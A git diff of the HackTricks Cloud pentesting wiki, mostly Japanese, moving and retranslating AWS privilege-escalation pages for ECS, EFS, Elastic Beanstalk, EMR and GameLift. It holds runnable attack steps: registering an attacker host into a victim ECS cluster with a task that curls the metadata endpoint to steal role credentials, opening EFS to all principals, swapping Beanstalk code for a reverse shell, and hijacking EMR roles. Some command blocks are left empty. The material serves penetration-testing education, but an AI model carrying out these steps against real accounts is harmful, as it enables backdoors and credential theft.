+USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
+LT_ID=
+
+ASG_ARN=
+
+CP_NAME=htcp-8797
+aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
+aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
+
+SVC=
+# Task definition must be EC2-compatible (not Fargate-only)
+aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
+
+TASK=
+CI=
+aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text
+</pre>
+</details>
+
+### ECS Anywhere の EXTERNAL 登録を利用したクラスター内へのバックドア
+
+ECS Anywhere を悪用して、攻撃者が制御するホストを被害者の ECS クラスターの EXTERNAL container instance として登録し、privileged な task と execution ロールを使ってそのホスト上でタスクを実行できます。これによりタスクがどこで実行されるかを OS レベルで制御でき（自分のマシン上で実行）、capacity providers や ASGs に触れずにタスクやアタッチされたボリュームから資格情報やデータを窃取できます。
+
+- 必要な権限（最小例）:
+- ecs:CreateCluster (オプション), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere の instance role と task/execution ロール用)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs を使う場合)
+
+- 影響: 攻撃者ホスト上で任意のコンテナを選んだ taskRoleArn で実行可能; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI からタスクロール資格情報を持ち出す; タスクがマウントした任意のボリュームにアクセス可能; capacity providers/ASGs を操作するよりステルス性が高い。
+
+Steps
+
+1) クラスターを作成／特定する (us-east-1)
+```bash
+aws ecs create-cluster --cluster-name ht-ecs-anywhere
+```
+2) ECS Anywhere のロールと SSM activation を作成する（オンプレ／EXTERNAL インスタンス用）
+```bash
+aws iam create-role --role-name ecsAnywhereRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
+aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
+ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
+ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
+```
+3) attacker host をプロビジョニングし、それを EXTERNAL として自動登録する（例: 小さな AL2 EC2 を “on‑prem” として）
+
+<details>
+<summary>user-data.sh</summary>
+```bash
+#!/bin/bash
+set -euxo pipefail
+amazon-linux-extras enable docker || true
+yum install -y docker curl jq
+systemctl enable --now docker
+curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
+chmod +x /root/ecs-anywhere-install.sh
+/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
+```
+</details>
+```bash
+AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
+IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
+--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
+aws ec2 wait instance-status-ok --instance-ids $IID
+```
+4) EXTERNAL コンテナインスタンスが参加していることを確認する
+```bash
+aws ecs list-container-instances --cluster ht-ecs-anywhere
+aws ecs describe-container-instances --cluster ht-ecs-anywhere \
+--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
+# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
+```
+5) task/execution roles を作成し、EXTERNAL task definition を登録して、attacker host 上で実行する
+```bash
+# roles
+aws iam create-role --role-name ht-ecs-task-exec \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
+aws iam create-role --role-name ht-ecs-task-role \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+# attach any privileges you want to abuse to this task role
+
+# task def (EXTERNAL launch)
+cat > td-external.json << 'JSON'
+{
+"family": "ht-external",
+"requiresCompatibilities": [ "EXTERNAL" ],
+"networkMode": "bridge",
+"memory": "256",
+"cpu": "128",
+"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
+"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
+"containerDefinitions": [
+{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
+"memory": 128,
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
+}
+]
+}
+JSON
+aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
+aws ecs register-task-definition --cli-input-json file://td-external.json
+CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
+aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
+--container-instances $CI
+```
+6) ここからはタスクを実行するホストを制御できます。タスクログを読むことができる（awslogs の場合）か、ホスト上で直接 exec してタスクから認証情報/データを exfiltrate できます。
+
+
+
+#### Command example (placeholders)
+
+
+
+
+### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
+
+ECS capacity providers を管理し service を更新する権限を持つ攻撃者は、自分が制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットの cluster に関連付け、被害者のサービスをこの provider に移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンスにスケジュールされ、OS レベルでコンテナを検査してタスクの認証情報を窃取できます。
+
+Commands (us-east-1):
+
+- 前提条件
+
+
+
+- ターゲット cluster に参加するための ECS agent 用 Launch Template を作成
+
+
+
+- Auto Scaling Group を作成
+
+
+
+- ASG から Capacity Provider を作成
+
+
+
+- Capacity Provider を cluster に関連付け（任意でデフォルトとして）
+
+
+
+- サービスを自分の provider に移行
+
+
+
+- タスクが攻撃者のインスタンスに配置されることを確認
+
+
+
+- オプション：EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取ってタスクロールの認証情報を取得。
+
+
+
+- クリーンアップ
+
+
+
+**Potential Impact:** 攻撃者が制御する EC2 ノードが被害者のタスクを受け入れ、OS レベルでコンテナへアクセスしてタスクの IAM ロール認証情報を窃取できるようになります。
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
deleted file mode 100644
index 05653f8ca..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - EFS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-EFSに関する**詳細情報**は以下にあります：
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-EFSをマウントするには、EFSが公開されているサブネット内にいる必要があり、アクセス権（セキュリティグループ）が必要です。これが発生している場合、デフォルトでは常にマウントできるはずですが、IAMポリシーによって保護されている場合は、アクセスするためにここで言及されている追加の権限が必要です。
-
-### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-
-これらの権限のいずれかを持つ攻撃者は、**ファイルシステムポリシーを変更**して**アクセスを与える**ことができるか、単に**削除して**デフォルトのアクセスを付与することができます。
-
-ポリシーを削除するには：
-```bash
-aws efs delete-file-system-policy \
---file-system-id <value>
-```
-変更するには：
-```json
-aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
-
-// Give everyone trying to mount it read, write and root access
-// policy.json:
-{
-"Version": "2012-10-17",
-"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
-"Statement": [
-{
-"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"elasticfilesystem:ClientRootAccess",
-"elasticfilesystem:ClientWrite",
-"elasticfilesystem:ClientMount"
-],
-"Condition": {
-"Bool": {
-"elasticfilesystem:AccessedViaMountTarget": "true"
-}
-}
-}
-]
-}
-```
-### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-
-この権限を持つ攻撃者は**EFSをマウント**することができます。もし書き込み権限がデフォルトでEFSをマウントできるすべての人に与えられていない場合、彼は**読み取りアクセス**のみを持つことになります。
-```bash
-sudo mkdir /efs
-sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
-```
-`elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` の追加権限は、マウントされた後にファイルシステム内に **書き込む** ためと、そのファイルシステムに **ルート** として **アクセス** するために使用できます。
-
-**潜在的な影響:** ファイルシステム内の機密情報を見つけることによる間接的な特権昇格。
-
-### `elasticfilesystem:CreateMountTarget`
-
-攻撃者が **マウントターゲット** が存在しない **サブネット** 内にいる場合、彼はこの権限を使って **自分のサブネット** にマウントターゲットを **作成** することができます。
-```bash
-# You need to indicate security groups that will grant the user access to port 2049
-aws efs create-mount-target --file-system-id <fs-id> \
---subnet-id <value> \
---security-groups <value>
-```
-**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。
-
-### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-
-攻撃者がEFSのマウントターゲットが自分のサブネット内にあることを発見し、**トラフィックを許可するセキュリティグループがない場合**、彼は単に**選択したセキュリティグループを変更することでそれを修正できる**:
-```bash
-aws efs modify-mount-target-security-groups \
---mount-target-id <value> \
---security-groups <value>
-```
-**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。 
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
new file mode 100644
index 000000000..7be0fdfc9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
@@ -0,0 +1,86 @@
+# AWS - EFS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+EFS に関する**詳細情報**は以下を参照：
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+EFS をマウントするには、EFS が公開されているサブネットワーク内にいることと、それにアクセスできること（セキュリティグループの設定）が必要です。これらの条件が満たされている場合、デフォルトでは常にマウントできます。ただし、IAM ポリシーによって保護されている場合は、アクセスするためにここで示されている追加の権限が必要になります。
+
+### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
+
+これらのいずれかの権限を持っていれば、攻撃者は **ファイルシステムポリシーを変更する** ことで **アクセスを付与する** ことができ、あるいは単に **それを削除する** ことで **デフォルトのアクセス** を有効にすることができます。
+
+ポリシーを削除するには：
+```bash
+aws efs delete-file-system-policy \
+--file-system-id <value>
+```
+それを変更するには:
+```json
+aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
+
+// Give everyone trying to mount it read, write and root access
+// policy.json:
+{
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
+"Statement": [
+{
+"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"elasticfilesystem:ClientRootAccess",
+"elasticfilesystem:ClientWrite",
+"elasticfilesystem:ClientMount"
+],
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
+}
+```
+### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
+
+この権限があれば、攻撃者は **EFS をマウント** できます。書き込み権限が EFS をマウントできる全員にデフォルトで付与されていない場合、攻撃者は **読み取りアクセスのみ** となります。
+```bash
+sudo mkdir /efs
+sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
+```
+追加の権限 `elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` は、マウント後にファイルシステム内に**書き込み**を行い、そのファイルシステムに**root としてアクセス**するために使えます。
+
+**Potential Impact:** ファイルシステム内の機密情報を特定することで間接的な privesc を引き起こす可能性があります。
+
+### `elasticfilesystem:CreateMountTarget`
+
+攻撃者が EFS の **マウントターゲットが存在しない** **サブネットワーク** にいる場合、この権限があれば彼は **自分のサブネットにそれを作成**できます：
+```bash
+# You need to indicate security groups that will grant the user access to port 2049
+aws efs create-mount-target --file-system-id <fs-id> \
+--subnet-id <value> \
+--security-groups <value>
+```
+**Potential Impact:** ファイルシステム内の機密情報を見つけることで間接的にprivescが可能になる。
+
+### `elasticfilesystem:ModifyMountTargetSecurityGroups`
+
+攻撃者が自分のサブネット内に EFS のマウントターゲットが存在するが **no security group is allowing the traffic** と判定した場合、選択された **security groups を変更してそれを許可するように設定できる**:
+```bash
+aws efs modify-mount-target-security-groups \
+--mount-target-id <value> \
+--security-groups <value>
+```
+**潜在的影響:** ファイルシステム内の機密情報を特定することで生じる間接的なprivesc。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
similarity index 61%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
index 5c9438d4b..750ef51a3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Elastic Beanstalk Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-More **info about Elastic Beanstalk** in:
+Elastic Beanstalk に関する**詳細情報**は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Beanstalkで敏感なアクションを実行するには、**多くの異なるサービスで多くの敏感な権限を持っている必要があります**。例えば、**`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**に与えられた権限を確認できます。
+> Beanstalk で機密性の高い操作を行うには、**多数の異なるサービスに対する多くの機密権限**が必要になります。たとえば、**`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** に付与されている権限を確認できます。
 
-### `elasticbeanstalk:RebuildEnvironment`、S3書き込み権限 & その他多数
+### `elasticbeanstalk:RebuildEnvironment`, S3 の書き込み権限など多数
 
-**環境のコード**を含むS3バケットに対する**書き込み権限**とアプリケーションを**再構築**するための権限（`elasticbeanstalk:RebuildEnvironment`と`S3`、`EC2`、`Cloudformation`に関連するいくつかの権限が必要です）を持っていると、**コード**を**変更**し、アプリを**再構築**することができ、次回アプリにアクセスすると**新しいコードを実行**します。これにより、攻撃者はアプリケーションとそのIAMロールの資格情報を危険にさらすことができます。
+環境の**コード**を含む **S3 バケットへの書き込み権限** とアプリケーションを**再構築**する権限（`elasticbeanstalk:RebuildEnvironment` と `S3`、`EC2`、`Cloudformation` に関連するいくつかの他の権限が必要です）があれば、**コードを改変**してアプリを**再構築**でき、次回アプリにアクセスした際に**改変したコードが実行されます**。これにより攻撃者はアプリケーションおよびその IAM ロールの資格情報を乗っ取ることが可能になります。
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -30,39 +30,39 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` など...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, など...
 
-言及されたものに加えて、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** 権限が、ゼロから生の Elastic Beanstalk シナリオを作成するために必要です。
+上記に加え、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** の権限が、ゼロから基本的な Elastic Beanstalk シナリオを作成するために必要です。
 
 - AWS Elastic Beanstalk アプリケーションを作成する:
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-- AWS Elastic Beanstalk 環境を作成する ([**サポートされているプラットフォーム**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- AWS Elastic Beanstalk 環境を作成する ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
-既に環境が作成されていて、新しい環境を作成したくない場合は、既存の環境を**更新**するだけです。
+環境が既に作成されており、**新しい環境を作成したくない**場合は、既存の環境を単に**更新**することができます。
 
-- アプリケーションコードと依存関係をZIPファイルにパッケージします:
+- アプリケーションのコードと依存関係をZIPファイルにパッケージ化します:
 ```python
 zip -r MyApp.zip .
 ```
-- ZIPファイルをS3バケットにアップロードします:
+- ZIPファイルをS3バケットにアップロードする:
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
 ```
-- AWS Elastic Beanstalk アプリケーションバージョンを作成する:
+- AWS Elastic Beanstalk のアプリケーションバージョンを作成する:
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
 ```
-- AWS Elastic Beanstalk 環境にアプリケーションバージョンをデプロイします:
+- アプリケーションのバージョンを AWS Elastic Beanstalk 環境にデプロイする:
 ```bash
 aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-まず最初に、**前のステップ**に従って、**被害者**で実行したい**コード**を含む**正当なBeanstalk環境**を作成する必要があります。これには、これらの**2つのファイル**を含む単純な**zip**が必要です：
+まず最初に、**previous steps**に従って実行したい**code**を含む**legit Beanstalk environment**を作成する必要があります。簡単な**zip**で以下の**2 files**を含めるだけで済む場合があります:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-あなた自身のBeanstalk環境でリバースシェルを実行しているら、次はそれを被害者の環境に**移行**する時です。そのためには、あなたのBeanstalk S3バケットの**バケットポリシーを更新**して、**被害者がアクセスできる**ようにする必要があります（これにより、バケットが**全員に開放**されることに注意してください）：
+あなたが **your own Beanstalk env running** で rev shell を起動している状態になったら、それを **migrate** して **victims** env に移す時です。そうするには、あなたの Beanstalk S3 バケットの **update the Bucket Policy** を行い、**victim がアクセスできるように** する必要があります（この操作はバケットを **open** して **EVERYONE** に公開することになる点に注意）:
 ```json
 {
 "Version": "2008-10-17",
@@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
 
 The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index 2e91d563d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# AWS - EMR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EMR
-
-More **info about EMR** in:
-
-{{#ref}}
-../aws-services/aws-emr-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-これらの権限を持つ攻撃者は、**EC2ロールをアタッチして新しいEMRクラスターを実行**し、その資格情報を盗もうとすることができます。\
-これを行うには、**アカウントにインポートされたsshプライベートキーを知っているか、インポートする必要があり**、**マスターノードでポート22を開くことができる必要があります**（`--ec2-attributes`内の`EmrManagedMasterSecurityGroup`および/または`ServiceAccessSecurityGroup`の属性を使用してこれを行うことができるかもしれません）。
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
---key-name "privesc" \
---public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
---release-label emr-5.15.0 \
---instance-type m4.large \
---instance-count 1 \
---service-role EMR_DefaultRole \
---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id <id>
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-**EMRロール**が`--service-role`で指定され、**ec2ロール**が`--ec2-attributes`で指定されていることに注意してください。ただし、この技術はEC2ロールの資格情報を盗むことしかできず（ssh経由で接続するため）、EMR IAMロールを盗むことはできません。
-
-**潜在的な影響:** 指定されたEC2サービスロールへの権限昇格。
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-これらの権限を持つ攻撃者は、**AWSコンソール**にアクセスし、ノートブックを作成してそれにアクセスし、IAMロールを盗むことができます。
-
-> [!CAUTION]
-> ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。
-
-**潜在的な影響:** AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-この権限だけで、攻撃者は**Jupyterノートブックにアクセスし、それに関連するIAMロールを盗む**ことができます。\
-ノートブックのURLは`https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`です。
-
-> [!CAUTION]
-> ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。
-
-**潜在的な影響:** AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
new file mode 100644
index 000000000..d46341732
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
@@ -0,0 +1,62 @@
+# AWS - EMR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EMR
+
+EMRに関する**情報**は次を参照:
+
+{{#ref}}
+../../aws-services/aws-emr-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
+
+これらの権限を持つ攻撃者は、**EC2 roles をアタッチして新しい EMR クラスターを実行**し、その資格情報を盗もうとすることができます.\
+これを行うには、**アカウントにインポートされている何らかの ssh priv key を知っている**か、あるいはインポートし、また **マスターノードでポート 22 を開放**できる必要があります（`--ec2-attributes` 内の属性 `EmrManagedMasterSecurityGroup` および/または `ServiceAccessSecurityGroup` でこれを行える場合があります）。
+```bash
+# Import EC2 ssh key (you will need extra permissions for this)
+ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
+chmod 400 /tmp/sshkey
+base64 /tmp/sshkey.pub > /tmp/pub.key
+aws ec2 import-key-pair \
+--key-name "privesc" \
+--public-key-material file:///tmp/pub.key
+
+
+aws emr create-cluster \
+--release-label emr-5.15.0 \
+--instance-type m4.large \
+--instance-count 1 \
+--service-role EMR_DefaultRole \
+--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+
+# Wait 1min and connect via ssh to an EC2 instance of the cluster)
+aws emr describe-cluster --cluster-id <id>
+# In MasterPublicDnsName you can find the DNS to connect to the master instance
+## You cna also get this info listing EC2 instances
+```
+Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
+
+**Potential Impact:** Privesc to the EC2 service role specified.
+
+### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
+
+これらの権限があれば攻撃者は**AWS console**にアクセスしてNotebookを作成し、そこからIAM Roleを奪取できます。
+
+> [!CAUTION]
+> 私のテストでは、notebook インスタンスに IAM role をアタッチしても、IAM role に関連する認証情報ではなく AWS managed credentials を奪取できることを確認しました。
+
+**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+### `elasticmapreduce:OpenEditorInConsole`
+
+この権限だけで攻撃者は**Jupyter Notebook にアクセスし、関連付けられた IAM role を奪取**できます.\
+The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
+
+> [!CAUTION]
+> 私のテストでは、notebook インスタンスに IAM role をアタッチしても、IAM role に関連する認証情報ではなく AWS managed credentials を奪取できることを確認しました。
+
+**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index 411fbadd3..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - Gamelift
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### `gamelift:RequestUploadCredentials`
-
-この権限を持つ攻撃者は、Amazon GameLiftのAmazon S3に新しいゲームビルドファイルをアップロードする際に使用するための**新しい認証情報のセットを取得**できます。**S3アップロード認証情報**が返されます。
-```bash
-aws gamelift request-upload-credentials \
---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-## 参考文献
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
new file mode 100644
index 000000000..16d282437
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
@@ -0,0 +1,16 @@
+# AWS - Gamelift
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### `gamelift:RequestUploadCredentials`
+
